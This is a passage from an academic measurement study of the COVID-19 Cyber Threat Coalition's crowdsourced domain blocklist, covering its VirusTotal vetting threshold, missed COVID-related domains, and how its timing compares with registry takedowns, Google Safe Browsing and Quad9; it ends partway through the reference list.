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detection count by VirusTotal domain scanners at the time of

presence in the CTC blocklist.
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Figure 7: Distribution of domains that were (not) detected by

Google Safe Browsing (GSB) over the number of detections

by VirusTotal engines.

mains that were already known to multiple security vendors

in VirusTotal.

No domain was marked as malicious by more than 27 of

VirusTotal’s 84 domain scanning engines; this low ratio is

consistent with that found by Peng et al. [15]. Among the 84

scanners, only 23 detected over 5% of vetted domains, and 21

scanners detected over 5% of the domains with COVID-19-

related keywords in them. In other words, the CTC threshold

for vetting is quite high: 10 detections means that a domain

is already known to nearly half of all engines that contribute

a non-trivial amount of detections.

As an external corroboration, we determine whether do-

mains on the CTC list were also flagged by Google Safe

Browsing (GSB). We find that the more VirusTotal engines

detect a domain, the more likely it is to also be flagged by

GSB (Figure 7). We confirm with a χ
2 test that the distribu-

tions of VirusTotal engine counts for domains that are and are

not detected by GSB significantly differ (χ2
= 14595, critical

value at α = 0.05: 40.113, p < 0.0001). The CTC’s threshold

of 10 detections is close to the crossover where more domains

are flagged by GSB than are not (11 detections). While this

supports a low false positive rate, the threshold also makes it

very hard for the CTC to contribute new threat intelligence

beyond that of existing anti-abuse infrastructure.
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Overall, slightly fewer scanners tend to detect malicious

domains as our measurement period progresses (Figure 6).

Among the top 10 engines (Figure 8), most have a consistent

detection rate and therefore contribution over time. AegisLab

WebGuard achieved a high detection rate only after mid May:

this is a possible indicator that they may have then started

ingesting the CTC blocklist, instead of proactively flagging

domains and therefore contributing to the vetting process.

Decreasing detection rates for Avira and ESET may translate

into a decreased contribution to the vetting process over time.

Once a domain was included on the vetted blocklist, few ad-

ditional engines marked it as malicious (Figure 9), even as its

listing duration increased; a larger increase was only visible

for the earliest listed domains. This suggests that the vetting

decision by the CTC was based on stable detections by the

scanners, so domains warrant their near-indefinite presence

on the vetted list (subsection 4.2).

In summary, the CTC vetted list comprised (only) domains

where a relatively large proportion of security scanners agree

on their maliciousness, making false positives unlikely. How-

ever, it is also required that at least 10 VirusTotal scanners

flag a domain. Unless these scanners successfully adapt to the

novel COVID-19-related abuse, this strict threshold causes

many false negatives. This led to a problem for the CTC:

their whole rationale was to “supplement the existing defen-

sive structure”. If the existing scanners were to adapt, then

the CTC no longer supplemented them. If they did not adapt,

then using them for vetting while maintaining a high threshold
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Figure 9: Proportion of domains with a given detection count

by VirusTotal domain scanners given the duration a domain

has been present on the vetted list.

also meant that the CTC no longer supplemented them. This

reaffirms our observation in subsection 4.2 that instead of cap-

turing COVID-19-related abuse not seen in other TI sources,

as was the CTC’s primary target, the CTC list rather contained

primarily ‘generic’ TI on which many existing sources (here

VirusTotal scanners) agreed. While the TI may therefore

conform to the CTC’s goal of being of “high quality” (few

false positives), the trade-off is that coverage of the threats for

which it was set up is undermined (many false negatives). To

empirically evaluate this trade-off, we explore the coverage

of COVID-19-related domains in the next subsection.

4.4 Coverage of COVID-19 related malicious

domains

What COVID-19-related malicious domains were missed by

the CTC? For this question, we use passive DNS data from

DNSDB by Farsight Security, produced through passive, real-

time collection and aggregation of DNS query-response traffic

between authoritative servers and recursive resolvers around

the world [33]. In particular, we expect higher coverage

through DNSDB where discovery of malicious domains may

be harder: subdomains as well as top-level domains (TLDs)

without available registry zone files (usually ccTLDs).

In order to evaluate the CTC blocklist quality, for each

day between March 1 and June 30, 2020, we extracted from

DNSDB all FQDNs that match our COVID-19-related key-

words from subsection 4.2. In total, we obtain 3,011,717

COVID-19-related domains that contain at least one keyword.

We want to know which of these domains are flagged by

security vendors as being malicious. In total, 188,305 do-

mains were flagged by at least 1 VirusTotal scanner; however,

162,406 of these are flagged by only one scanner (Fortinet).

As presented in Figure 10, 5,767 domains were flagged by

4 to 10 scanners, while only 610 domains were flagged by
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Figure 10: Proportion of COVID-19 keyword domains of sub-

section 4.2 detected by a given number of VirusTotal domain

scanners. The CTC vetting process used a threshold of 10.

the CTC’s threshold of 10 or more scanners. Of these, 535

domains were on the CTC blocklist. According to Google

Safe Browsing, the majority of these domains were related to

social engineering (562 – 92.13%) followed by malware (33 –

5.40%) and unwanted software (15 – 0.24%). Recent work

reported similar patterns in keyword-matched COVID-19 do-

mains [34, 35].

We found 75 COVID-19-related domains in DNSDB that

had more than 10 detections on VirusTotal and therefore met

the inclusion criterion of the CTC’s vetting process, yet were

not included on the CTC vetted list. These missed domains

are therefore false negatives of the CTC vetted list. In Table 2,

we compare how false negatives and domains on the CTC

vetted list are distributed across TLDs. While there are no sig-

nificant differences per TLD type, we can observe differences

in how ccTLDs are represented. For instance, .gg is the most

prominent ccTLD among the false negatives, whereas it does

not appear in the top 10 ccTLDs for domains on the CTC list.

TLD Type # False Negatives # CTC domains

gTLD 99 (80.49%) 1,042 (84.78%)
grTLD 3 (2.44%) 3 (0.24%)
ccTLD 21 (17.07%) 183 (14.89%)

gg 3 (14.29%) ru 41 (22.40%)
ga 2 (9.52%) cl 20 (10.93%)
eu 2 (9.52%) cc 18 (9.84%)
ru 2 (9.52%) tk 14 (7.65%)
pl 2 (9.52%) br 9 (4.92%)
tk 2 (9.52%) gd 7 (3.83%)
de 2 (9.52%) ml 6 (3.28%)
su 1 (4.76%) gq 6 (3.26%)
co 1 (4.76%) ca 5 (2.73%)
us 1 (4.76%) in 4 (2.19%)

Table 2: Number of false negatives versus CTC vetted do-

mains per TLD.

In sum: the CTC blocklist contained false negatives on

COVID-19-related abuse, possibly because of the CTC set-

ting a high threshold of 10 detections on VirusTotal. Fur-

thermore, that threshold caused an extreme reduction in how

many COVID-19-related domains made it onto the blocklist,

resulting in more false negatives compared to using lower

thresholds. Of course, all of this underlines again the more

fundamental problem that the CTC’s reliance on VirusTotal

undermines its goal to cover threats that are not well covered

by existing anti-abuse infrastructure.

5 IMPACT OF THE CTC BLOCKLIST

In this section we address our second research question: Did

publishing threat data in a freely available blocklist improve

the ability of network defenders to act against threats, com-

pared to the existing abuse mitigation infrastructure? We

combine various data sources to understand which, how and

when actors intervene to take down domains on the blocklist,

and produce a longitudinal measurement of these countermea-

sures. We look specifically at domain-level interventions and

client-side interventions. Registrars, registries and hosting

providers are responsible for domain-level interventions. This

method protects all users, as it prevents them from access-

ing the domain, but is relatively invasive, as the intervention

cannot be circumvented; it may therefore be applied more

cautiously [36]. Client-side interventions inherently only pro-

tect those clients who enable the intervention, but may be able

to respond more quickly and aggressively to threats. For the

blocklist of the CTC to improve the ability of defenders to act

against COVID-19-related threats, it should flag domains that

existing defenses do not act against or it should flag domains

more quickly than existing defenses.

5.1 Domain-level interventions

A core countermeasure is the takedown of a website. This is

requested by law enforcement agencies, by targeted organi-

zations, or specialized – e.g., brand-protection – companies

acting on their behalf [37–39]. The takedown can subse-

quently be implemented at (sub)domain level by registries,

registrars and/or hosting providers. We measure takedowns

by registrars and registries primarily through ‘Extensible Pro-

visioning Protocol’ (EPP) status codes [40, 41] within the

WHOIS domain registration data: we consider a domain as

taken down when the EPP status codes CLIENTHOLD for reg-

istrars and SERVERHOLD for registries respectively are set,

which indicates that the domain is not delegated, i.e., activated

in the DNS [40, 42] 5. We retrieve historical WHOIS domain

registration data for all vetted domains through VirusTotal,

on July 6 and 7.

In total, 6,635 (30.8%) out of the 21,524 distinct second-

level domains where we could obtain WHOIS data saw either

5As noted by Alowaisheq et al. [38] and confirmed by our own observa-

tions, other status codes (in particular *PROHIBITED) are at best unreliable

indicators of takedown, and often reflect registry- or registrar-specific behav-

ior (e.g., default configurations).
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Intervention by

TLD type # domains Registry Registrar p-value Any ▽

New gTLDs 4 714 45.2% 20.6% < 0.0001 56.3%
Legacy gTLDs 14 604 2.7% 23.9% < 0.0001 26.0%

ccTLDs 2 206 3.9% 4.7% 0.181 8.3%

Total 21 524 12.1% 21.2% < 0.0001 30.8%

Table 3: Registry and registrar interventions on second-level

domains from the CTC blocklist, grouped by TLD type, with

p-value given for χ
2 test.

a registrar or a registry intervention6. The coverage and actors

of domain-level interventions depends on the type of TLD

(Table 3). The intervention rate was the highest among new

gTLDs (56.3%), with most enacted by registries as they must

comply with the most stringent requirements [43]. Mean-

while, on legacy gTLDs (com/net/org), intervention is less

prevalent (26.0%) and rather fell to registrars, as this has his-

torically been their responsibility [44, 45]. Finally, ccTLDs

saw relatively little intervention (8.3%), potentially owing to

their independence in setting (abuse) policies [46–48]. Conse-

quently, assuming the CTC list contained useful TI, it could

have acted as a complementary defense where other interven-

tions were less common, in this case especially for ccTLDs.
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Figure 11: Delay between the first appearance of a domain on

the CTC blocklist and interventions by registries, registrars

or Google Safe Browsing (GSB).

Next, we measure if appearance on the CTC list is more

timely than these interventions, as this would provide those

using the blocklist with an advance warning of a live threat

before it is intervened upon. We find that if an intervention

did take place, it was usually faster than the CTC: 61.3% of

registry and 77.1% of registrar interventions already occurred

before the domain appeared on the vetted CTC list (Figure 11).

In cases where the CTC blocklist does predate the interven-

tion, the delay tends to be small.This therefore suggests that

for the share of domains that registrars and registries do in-

tervene upon, their malicious contents were mostly already

unavailable by the time the domains appeared on the CTC

vetted list, so end users would not need the CTC’s blocklisting

to be protected from those domains.

6For 35 domains, we ignore the intervention as it occurred before January

1, 2020 and is therefore unlikely to be COVID-19- or CTC-related.
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Figure 12: Empirical survival function for domains on the

CTC blocklist where WHOIS registration data is available.

We measure lifetime from domain creation until registry or

registrar intervention or first appearance on the CTC list.

Another way to see this effect is that for newly registered

domains, interventions by registries and in particular regis-

trars tend to occur closer to the registration time than CTC

blocklisting (Figure 12). This may indicate close monitoring

of new and suspicious domains by registrars and registries

that results in more immediate action than the publication of

the malicious domain on the CTC blocklist. However, the

CTC list covers many more domains, suggesting that reg-

istrars and registries may be more careful in taking action

against domains, especially once they are older, while the

CTC captures TI more broadly. Moreover, the CTC list may

also include more novel threats that registrars and registries

are not well able to detect and take down. This is further

supported by interventions across domains on the blocklist

that contain any of the COVID-19 keywords from subsec-

tion 4.2: we see registry or registrar interventions for 185

out of 821 COVID-19-related second-level domains (22.5%),

lower than the 30.8% seen across the whole list (χ2
= 32.591,

p < 0.0001) even though multiple registries and registries

had subjected COVID-19-related domains to additional veri-

fication [49–51]. The CTC list is therefore even more com-

prehensive for this novel abuse type: 68.3% and 49.3% of

domains appear on the CTC blocklist before a registry or

registrar intervention respectively, meaning the CTC blocklist

is also more proactive and therefore more useful in flagging

COVID-19 domains than domains overall.

5.2 Client-side interventions

Client-side solutions such as domain scanning engines, fire-

walls, DNS-based filters and browser interstitials provide a

complementary countermeasure by blocking access to mali-

cious content, although only for their users. These solutions

typically generate or ingest threat intelligence – such as the

CTC blocklist – in order to determine if a resource should be

considered as malicious [1, 4]. Note that VirusTotal, which

the CTC used to confirm maliciousness, and its constituent

scanners also serve as client-side solutions. We discussed

in subsection 4.3 how only 23 of its 84 engines succeed at

detecting at least 5% of domains on the CTC blocklist, rein-
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Figure 13: NXDOMAIN responses (i.e., blocking interventions)

by the Quad9 DNS resolver, indicating ingestion of the CTC

blocklist on May 6.

forcing the blocklist’s utility, as it can be ingested separately

to complement the other engines’ protection.

Browser-based intervention Major browsers check every

URL that a user navigates to against the Google Safe Brows-

ing (GSB) service, and display a warning interstitial when

the URL is known to be malicious [52], which therefore has

the potential to protect a large user base. We use the Google

Safe Browsing API7 to receive hash prefixes of detected mali-

cious URLs8. We retrieved an initial state on April 17, 2020,

and afterwards collected updates every half hour until July

15, which allowed us to determine when a domain was first

flagged. Throughout our measurement period, 28,383 do-

mains on the CTC list (60.6%) were flagged at some point,

meaning that the CTC list provides some complementary pro-

tection. However, as discussed in subsection 4.3, the domains

that GSB fails to flag tend to have fewer detections by Virus-

Total engines (Figure 7), suggesting that their malicious status

is less agreed upon. By the end, 20,962 domains (44.8%) re-

mained flagged: it is unclear whether GSB removes domains

because they are no longer considered malicious, or automati-

cally after a certain delay. Importantly, GSB performs worse

on COVID-19-related domains, at some point flagging 302

out of 1,229 domains (24.6%, χ
2
= 713.858, p < 0.0001).

This might reflect that these COVID-19-related domains con-

tain more scams and forms of abuse outside of the normal

scope of GSB, which is focused on the conventional abuse

categories of phishing, malware and spam. The CTC list may

therefore provide greater benefits for these domains. While

GSB does not achieve full coverage, if it flags domains, it

does so before the CTC in 96.3% of general cases, and 98.0%

of COVID-19 domains (Figure 11), with remaining domains

being added quickly to GSB after their first appearance on

the CTC list. The CTC list therefore leaves users vulnerable

for longer across the domains that GSB detects, and would

only be useful if its additional domains consisted of novel TI.

DNS-based intervention Quad9 is a public DNS resolver

that blocks malicious domains by responding to queries with

7https://developers.google.com/safe-browsing/v4
8Discrepancies exist between the output of the Google Safe Browsing API

and actual browser interventions, a.o. due to “data sharing restrictions” [53].

Our data are therefore an approximation of the latter interventions.

NXDOMAIN [54]. We retrieved DNS records for all vetted

domains from Quad9 [55] once a day from April 10 until

June 21. Quad9 relies on threat intelligence from at least 18

providers [55] and was reported to include the CTC blocklist

from May onward [19]. This inclusion proved beneficial:

before May 6, Quad9’s detection rate was 30% at its lowest

point (70% for COVID-19-related domains), but from then

onward Quad9 included almost all of the blocklist (Figure 13).

This shows that the CTC blocklist managed to incorporate

threat intelligence that was unknown to at least some security

service providers.

In summary, did the CTC improve the ability of defenders

to act against threats, compared to existing abuse mitigation

infrastructures? We find that for 58.4% of the FQDNs on the

CTC blocklist, existing abuse mitigation pipelines at the do-

main level or in the browser were all faster than the CTC at in-

tervening. For these domains, the pooling and sharing of data

in a public blocklist then provided little additional value. For

the remaining 41.6%, defenders – such as public and private

organizations or managed security service providers – who

ingested the open CTC blocklist did however improve their

ability to defend themselves, compared to relying on existing

anti-abuse pipelines. This advantage was even more sizeable

for COVID-19-related domains, at 74.9% additional coverage,

showing once again that the CTC was more effective when

focusing on its original goal of collecting COVID-19-related

abuse. One additional indication of the CTC’s utility occurred

in May 2021, when the DNS provider Quad9 started ingest-

ing the CTC list. This created an almost complete overlap

between the CTC blocklist and Quad9’s client-side interven-

tions, leading to better protection for its users. To put it briefly:

if actors in abuse mitigation intervened, they tended to do so

more quickly than the CTC, but often they didn’t intervene,

so the list improved the ability of defenders to act, especially

on COVID-19-specific threats.

6 ETHICS

Our study describes a threat information sharing community

that anyone could join [32] but was nevertheless not public:

information was TLP:GREEN, i.e., restricted to the community

[56]. Throughout this work, we adhere to the CTC’s Code

of Conduct [57]. In accordance with the cited “Chatham

House Rule”, we take great care to prevent identifying any

community members because this might impact them profes-

sionally, except for the founder, who has publicly stated his

role. Further, we do not cite from observed conversations,

as this might impede trust in the confidentiality of this and

future threat information sharing initiatives. To still provide

a rich image of the community, we rely on public sources

such as the CTC’s webinars [21] and interviews with steering

committee members [10, 16, 17, 58, 59]. The blocklist that

we analyze in-depth has been made fully public by the CTC
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[18]. The lead author’s institutional review board (IRB) has

approved this study design.

7 DISCUSSION

We have described collaboration in the Cyber Threat Coali-

tion community, which removed many of the entry barriers

normally present on threat information sharing arrangements.

The CTC relied on Slack and AlienVault OTX groups to

pool threat information, then vetting it through VirusTotal

before making the resulting blocklist freely available. To

learn whether this unique arrangement led to improved threat

defenses, we investigated two questions.

First, by pooling data from its community, did the CTC

improve coverage of COVID-19-related threats over existing

defenses? We find that the CTC primarily consolidated ex-

isting sources, rather than produce or propagate new threat

intelligence. Just 10 users contributed most of the domains in

the CTC’s AlienVault group and over time, user contributions

on the blocklist were outstripped by data from named and un-

named security firms. The community drifted away from its

initial goal of tracking pandemic-related abuse: on the CTC

blocklist, domains with COVID-19-related keywords (2.6%)

were overshadowed even by those with simply the keyword

whatsapp (2.8%). General phishing domains eventually made

up most of the CTC blocklist. This drift was caused by the

reliance of the CTC on VirusTotal for vetting domains to be

propagated on its blocklist: it required 10 detections by Virus-

Total engines. This high threshold meant that the resulting list

tended to reproduce the detection of conventional abuse by an-

tivirus engines, rather than contribute new threat intelligence

focused on COVID-19. In terms of coverage of these latter

threats, we found 75 false negatives – domains that should

have been on the list according to the standards of the CTC

itself, yet were missing. Thousands more COVID-19-related

domains might have been missed by the CTC, with the exact

number depending on what threshold one chooses in terms of

VirusTotal detections.

Second, did publishing threat data in a freely available

blocklist improve the ability of network defenders to act

against threats, compared to the existing abuse mitigation

infrastructure? Our analysis presents a dual view on who

acted on domains listed by the CTC and when. On the one

hand, no actor achieved full coverage in their interventions –

be it at domain-level or client-side – meaning that the CTC

vetting process succeeded in delivering an aggregated, more

complete set of malicious domains warranting action. This is

perhaps best demonstrated by its inclusion in the Quad9 DNS

service. On the other hand, where actors in abuse mitigation

did intervene, they were usually faster. For 58.4% of the

FQDNs on the blocklist, the CTC lagged in incorporating the

indicators in its list. Here, they provided little added value –

in particular because other interventions such as domain take-

downs or browser interstitials typically have a much wider

reach. For the small fraction of COVID-19-related domains,

the CTC blocklist was more effective in terms of coverage

and improving existing defenses. Here, the apparent lack of

focus of the CTC on COVID-19-related abuse impaired the

overall utility of its blocklist.

Based on our findings, we draw three lessons for future

open source threat information sharing initiatives. Our first

lesson is that scaling up the community does not automat-

ically lead to better pooling of threat information. In just

a few weeks’ time, the CTC managed to set up a pipeline

for collecting, vetting, and disseminating threat intelligence.

Throughout its progression, CTC admins repeatedly pressed

members to “signal boost our social media posts”, inviting

more people to join the community [22]. Possibly, the admins

had assumed that network effects would only increase as the

community grew, and did not anticipate the dynamics of a vol-

unteer organization. The CTC did not capitalize as much as it

could have on its pool of 4,000 volunteers: contributions on

AlienVault were made by just a fraction of community mem-

bers. This is in line with earlier research on open source soft-

ware development (subsection 3.1). However, that research

also found that open-source communities have a long-tail of

members with small contributions, like a bug report. Along

the same lines, the CTC could have benefited from indicator

vetting by its members (our second lesson). Scaling up the

CTC community may also have disincentivized threat infor-

mation sharing, because it exacerbated the free-rider problem:

having a large number of untrusted participants may have

discouraged some contributors from sharing indicators that

were sensitive or that they feared would be used commercially

by other firms.

The second lesson is that openness of the community re-

quires a scalable quality assurance process for the con-

tributed indicators. The CTC chose to fulfill that need via

VirusTotal, but thereby undid some of the benefits of pooling

new threat information in the first place. As described in

subsection 3.2, indicators had to meet a threshold level of

10 scanners in VirusTotal before they were propagated to the

CTC blocklist. Only 21 scanners were able to detect more

than 5% of the indicators on the blocklist, so a threshold of

10 means that half of the dominant scanners need to already

detect the indicator before it was shared and published. Al-

though this workflow is scalable and produced a blocklist with

a low number of false positives, it also meant that valuable

indicators that were not yet known to the dominant Virus-

Total engines were discarded because they did not meet the

threshold. In light of the CTC’s mission, it was ironic that this

particularly affected indicators related to COVID-19. Had the

CTC’s solution for manual vetting of indicators, the Slackbot,

come earlier, then it might have prevented the impact of re-

lying on VirusTotal. Crowdsourced vetting of indicators can

be successful, as PhishTank has shown [13]. User participa-

tion had already tapered off, however, when the Slackbot was
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introduced, so the transition away from VirusTotal was not

successful.

The CTC was founded on the premise that existing abuse

and threat information sharing mechanisms were unsuit-

able or unprepared for the risks posed by COVID-19-related

abuse [10] and that a new response was needed. Our third

lesson is that existing threat intelligence and abuse mitigation

structures are actually quite resilient and able to adapt to

‘new’ types of threats. Where the existing anti-abuse pipelines

intervened, they did so faster than the CTC could detect the

domain and include it on its blocklist. For example, 96% of

the client-side interventions through Google Safe Browsing

occurred before the domains were featured on the CTC list

(subsection 5.2). Another way to read these findings is that

due to its loss of focus on COVID-19-related domains, the

CTC was forced to ‘compete’ with general-purpose abuse

sharing mechanisms, a battle it was unlikely to win.

8 LIMITATIONS

The fast-paced evolution of the CTC and its operational pro-

cesses introduces inherent limitations for our study. Changes

to the CTC vetting process and our own data collection, as

well as blocklist hosting issues, caused temporal gaps in our

data. Moreover, where we do not have access to historical

data, in particular for VirusTotal detections and active DNS

records, we only collect data starting from the moment when

a domain was first included on the blocklist. Finally, certain

improvements to the vetting process, such as the Slackbot or

the preferential treatment of curated third-party sources, were

only introduced by the time community participation had

dwindled. Given the low number of contributions, we could

therefore not investigate if these would have had a significant

impact on the blocklist.

As VirusTotal is the main driver of the CTC vetting pro-

cess, our analyses are inherently biased by its classifications.

Figures 6-10 provide some insight into how these classifica-

tions are distributed for our data. However, researchers have

questioned the reliability of VirusTotal [15, 60] and other

(phishing) blocklists [61]. These shortcomings may be exac-

erbated by the novelty of COVID-19-related abuse, as well as

the semantic discussion on whether tactics such as scams or

price gouging constitute ‘maliciousness’ at all. Nonetheless,

VirusTotal provides us with objective and independent detec-

tion metrics across a large set of domain scanning engines,

serving as a strong signal for maliciousness, meaning that

domain-level and client-side interventions can be expected.

We attribute these interventions based on indicators that carry

a level of uncertainty, as also observed in previous work [38].

In particular, the availability of sufficiently detailed WHOIS

data is skewed towards gTLDs [39], and we assume correct

parsing of its non-standard format by VirusTotal. Our re-

sults in section 5 therefore serve as a lower bound to actual

interventions. Similarly, the count of COVID-19-specific abu-

sive domains is a lower bound, as we assume the presence

of pandemic-related keywords. However, other domains in

section 4 may have only carried COVID-19-related content

on their web page, or have been propagated within a COVID-

19-related context (e.g., a spam email). Where we quantify

potential false negatives, we equally did not contend to do so

exhaustively.

Our research focused on the CTC blocklist. We evaluated

it through its fit for purpose to inform real-time enforcement

actions, in line with the CTC’s mission, but the list of COVID-

19 related abuse material could conceivably also be used in

retrospect to evaluate security controls or even as training data

for machine learning purposes. Finally, although the blocklist

was an important and visible outcome of the community’s

efforts, it was not the only one. The CTC produced threat

advisories and community meetings, and facilitated commu-

nication between members of the security community. We

refrain from analyzing the posts in the CTC Slack workspace

due to our adherence to the CTC code of conduct [57]. These

conversations likely continued in private messages between

members, where we would not have visibility on their out-

comes, such as takedowns or law enforcement intervention.

Indeed, an important added value of the CTC may be not in

the data that they output, but in the network of peers that they

managed to bring together at short notice, and as a showcase

for what open source threat sharing might look like.

9 RELATED WORK

The performance of blocklists as sources of threat intelligence

has been the topic of previous studies, which raised questions

about the coverage of relevant threats by open sources [1,

2, 62, 63] as well as closed, commercial threat intelligence

sources [4]. Peng et al. [15] found that even the best engines

on VirusTotal missed 30% of submitted phishing sites and

Oest et al. [64] managed to evade being blocklisted for 55% of

phishing domains using simple cloaking techniques. Metcalf

and Spring [3] hypothesized such problematic coverage to be

an artefact of the collection method of abuse infrastructures,

with each using disparate methods to detect threats from their

specific vantage points. Notably in the blocklist literature,

Li et al. [1] proposed metrics by which to understand threat

intelligence and calculated those metrics for a set of open

source blocklists. We draw on its coverage and timeliness

metrics and our study also describes a blocklist, that of the

CTC, but we go beyond descriptive metrics and measure the

blocklist’s ability to inform countermeasures. More generally,

where Li et al. and other studies take blocklists as-is for their

analysis, we conduct measurements on the CTC blocklist to

shed light on the open source threat sharing process by which

it was produced.

The open source threat sharing model is not entirely new:

security information has always propagated through “informal

networks of trusted security professionals that exist across
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[organizations]” [65] and earlier research has described initia-

tives that share the CTC’s objective to pool threat information,

but do not match it in terms of access and scale. Thomas et

al. described aggregating data from within Google services,

in a lab environment and with access restricted to the authors

[14]. Another aggregator, Facebook ThreatExchange, was

included in the set of feeds analyzed by Li et al. [1], who

described it as a “closed-community platform” of “hundreds

of companies and organizations”. Here, access is based on

being involved in software development for the Facebook

platform. Outside of academic research, we see the Cyber

Threat Alliance, an industry partnership of 33 firms that share

reports and indicators with each other ahead of publication

on the basis of quid pro quo, and therefore not available to

the public [6]. VirusTotal combines scan engine logic to clas-

sify files and URLs [60], and ingests external data feeds as

inputs [15]. Despite the fact that users can also contribute

binaries and URLs as inputs on a limited free plan, VirusTo-

tal is not a community but a commercial service. Probably

most approximate to the CTC, PhishTank is an aggregator

of domains and URLs suspected of phishing that provides a

practical, real-world example of the promise of collaboration

to identify threats. It has a crowdsourcing capability to let

users validate maliciousness and like the CTC blocklist, its

feed is shared free of charge. It is an older initiative, with

the last study of it from 2008, which did not evaluate the

ability to inform countermeasures [5]. New user registration

on PhishTank has been closed since 2020. Three properties

set the experiment of the CTC in threat information sharing

apart from these initiatives. First, the low barriers to entry.

Formalizing a threat information sharing community has not

been attempted before at the scale of thousands of volunteers

[23]. Second, the community’s efforts were documented in

open sources such as webinars and interviews [10, 16, 17, 21,

58, 59]. And third, it produced information goods that were

made freely available – potentially magnifying the impact of

the threat information [18]. Because of these properties, the

CTC approached what Benkler [66] called peer production:

open creation and sharing performed an online groups. In this

case, peer production of security information. We conclude

that the scale at which threat information sharing occurred

in the CTC in response to the pandemic offered a unique

opportunity to investigate the collaborative model.

More generally, authors have recently described internet

abuse related to COVID-19, which the CTC also tracked.

They have pointed to signs of coordinated campaigns [67,

68] and drew attention to the risk of overzealous filtering of

COVID-19-related material [34, 69]. Bitaab et al. investigated

examples of phishing related to COVID-19 and concluded

that the existing anti-phishing ecosystem fell short, based on

the sheer volume of COVID-19 related fraud reported on by

the FTC [70]. Our measurements support their finding that

for the niche of COVID-19 related material, an organization

like the CTC could play a valuable supplementary role.

10 CONCLUSIONS

The Cyber Threat Coalition had the aim to “break down

traditional barriers to intelligence sharing [and] produce a

professional-quality threat feed that the broad IT security pub-

lic [could] rely upon” [8]. We found that by pooling data

from its community, the CTC managed to improve coverage

of threats related specifically to COVID-19 over that of ex-

isting defenses, and we found evidence that the CTC was

faster than other defenses to list such domains. Therefore

the community improved the ability of network defenders to

take action by publishing its threat data in a freely available

blocklist. Over time the CTC lost focus, until it aggregated

mostly generic abuse information. We described how this

can be traced back to choices that the community made in

scaling up its quality assurance processes using VirusTotal.

This prevented the CTC from delivering some of its value,

as it relied on a threshold number of scanners to recognize

a domain as malicious, dropping valuable new indicators in

the process and causing it to lag behind established defense

mechanisms.

Looking back on his experiences, founder Joshua Saxe

said: “We had a lot of [volunteering] energy, but we didn’t

have the right organizational machinery to funnel that en-

ergy.” [19]. Given that no open source threat sharing com-

munity of this kind previously existed, it is unsurprising that

the Cyber Threat Coalition went through growing pains. Al-

though we have examined its impact critically, it is only as a

result of the hard work of the members of this community that

we have been able to investigate the principles of open source

threat information sharing at all – and such a community may

have impact in subtle ways that are not easily observed or

quantified, such as building trust and facilitating contact. We

dedicate this paper to the volunteers of the CTC and hope that

the lessons discussed in this work may contribute to future

threat information sharing.
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[43] Maciej Korczyński, Maarten Wullink, Samaneh Ta-

jalizadehkhoob, Giovane C. M. Moura, Arman

Noroozian, Drew Bagley, and Cristian Hesselman.

“Cybercrime After the Sunrise: A Statistical Analy-

sis of DNS Abuse in New gTLDs”. In: 13th ACM

Asia Conference on Computer and Communications

Security. ASIACCS ’18. 2018, pp. 609–623. DOI:

10.1145/3196494.3196548.

USENIX Association 31st USENIX Security Symposium    1163



[44] Natasha Tusikov. “Access Chokepoints”. In: Choke-

points: Global Private Regulation on the Internet.

1st ed. University of California Press, 2017. Chap. 4,

pp. 116–155. ISBN: 9780520291218.

[45] Kevin Murphy. “VeriSign demands website take-

down powers”. In: The Register (Oct. 11, 2011).

URL: https://www.theregister.com/2011/10/11/

verisign_asks_for_web_takedown_powers/.

[46] Kim G. von Arx and Gregory R. Hagan.

“SOVEREIGN DOMAINS: A Declaration of

Independence of ccTLDs from Foreign Control”. In:

Richmond Journal of Law & Technology 9.1 (Fall

2002), p. 4.

[47] Peter K. Yu. “The Never-Ending ccTLD Story”. In:

Addressing the World: National Identity and Internet

Country Code Domains. Ed. by Erica Schlesinger

Wass. Rowman & Littlefield Publishers, Inc., 2003.

Chap. 1, pp. 1–16. ISBN: 9780742528109.

[48] National Research Council. Signposts in Cyberspace:

The Domain Name System and Internet Naviga-

tion. The National Academies Press, 2005. ISBN:

9780309096409. DOI: 10.17226/11258.

[49] EURid. COVID-19 and extraordinary measures on .eu

domain names. Apr. 8, 2020. URL: https://eurid.

eu/en/news/doteu-covid19-measures/.

[50] Eleanor Bradley. Keeping a close watch on coro-

navirus domains. Nominet. Mar. 26, 2020.

URL: https://www.nominet.uk/keeping-a-close-

watch-on-coronavirus-domains/.

[51] Frank Bajak. “Internet Firm Restricts Virus-Themed

Website Registrations”. In: ABC News (Mar. 26, 2020).

URL: https://abcnews.go.com/Technology/

wireStory/internet-firm-restricts-virus-

themed-website-registrations-69825166.

[52] Devdatta Akhawe and Adrienne Porter Felt. “Alice

in Warningland: A Large-Scale Field Study of

Browser Security Warning Effectiveness”. In: 22nd

USENIX Security Symposium. USENIX Security

’13. 2013, pp. 257–272. URL: https://www.usenix.

org/conference/usenixsecurity13/technical-

sessions/presentation/akhawe.

[53] Sergio Villegas et al. sbserver differs from

online/browser lookup? GitHub repository

google/safebrowsing. Issue 30. Aug. 31,

2016. URL: https://github.com/google/

safebrowsing/issues/30.

[54] Sean Gallagher. “New “Quad9” DNS service blocks

malicious domains for everyone”. In: Ars Technica

(Nov. 16, 2017). URL: https://arstechnica.com/

information-technology/2017/11/new-quad9-

dns-service-blocks-malicious-domains-for-

everyone/.

[55] Quad9. Quad9 DNS: Internet Security and Privacy in

a Few Easy Steps. 2019. URL: https://www.quad9.

net/.

[56] Forum of Incident Response and Security Teams. Traf-

fic Light Protocol (TLP). Aug. 2017. URL: https:

//www.first.org/tlp.

[57] COVID-19 Cyber Threat Coalition. Code of Con-

duct. URL: https://www.cyberthreatcoalition.

org/about-us/code-of-conduct.

[58] Tammy Xu. Volunteer Devs Around the World Fight

Pandemic-Inspired Cybercrime. Built In, June 9, 2020.

URL: https://builtin.com/cybersecurity/

coronavirus-cyber-threat-coalition.

[59] Brian Krebs. “COVID-19 Has United Cybersecurity

Experts, But Will That Unity Survive the Pandemic?”

In: Krebs on Security (Apr. 15, 2020). URL:

https://krebsonsecurity.com/2020/04/covid-

19-has-united-cybersecurity-experts-but-

will-that-unity-survive-the-pandemic.

[60] Ravindu De Silva, Mohamed Nabeel, Charith

Elvitigala, Issa Khalil, Ting Yu, and Chamath

Keppitiyagama. “Compromised or Attacker-

Owned: A Large Scale Classification and Study

of Hosting Domains of Malicious URLs”. In:

30th USENIX Security Symposium (USENIX Se-

curity 21). USENIX Association, Aug. 2021.

URL: https://www.usenix.org/conference/

usenixsecurity21/presentation/desilva.

[61] Adam Oest, Yeganeh Safaei, Adam Doupé, Gail-Joon

Ahn, Brad Wardman, and Kevin Tyers. “PhishFarm:

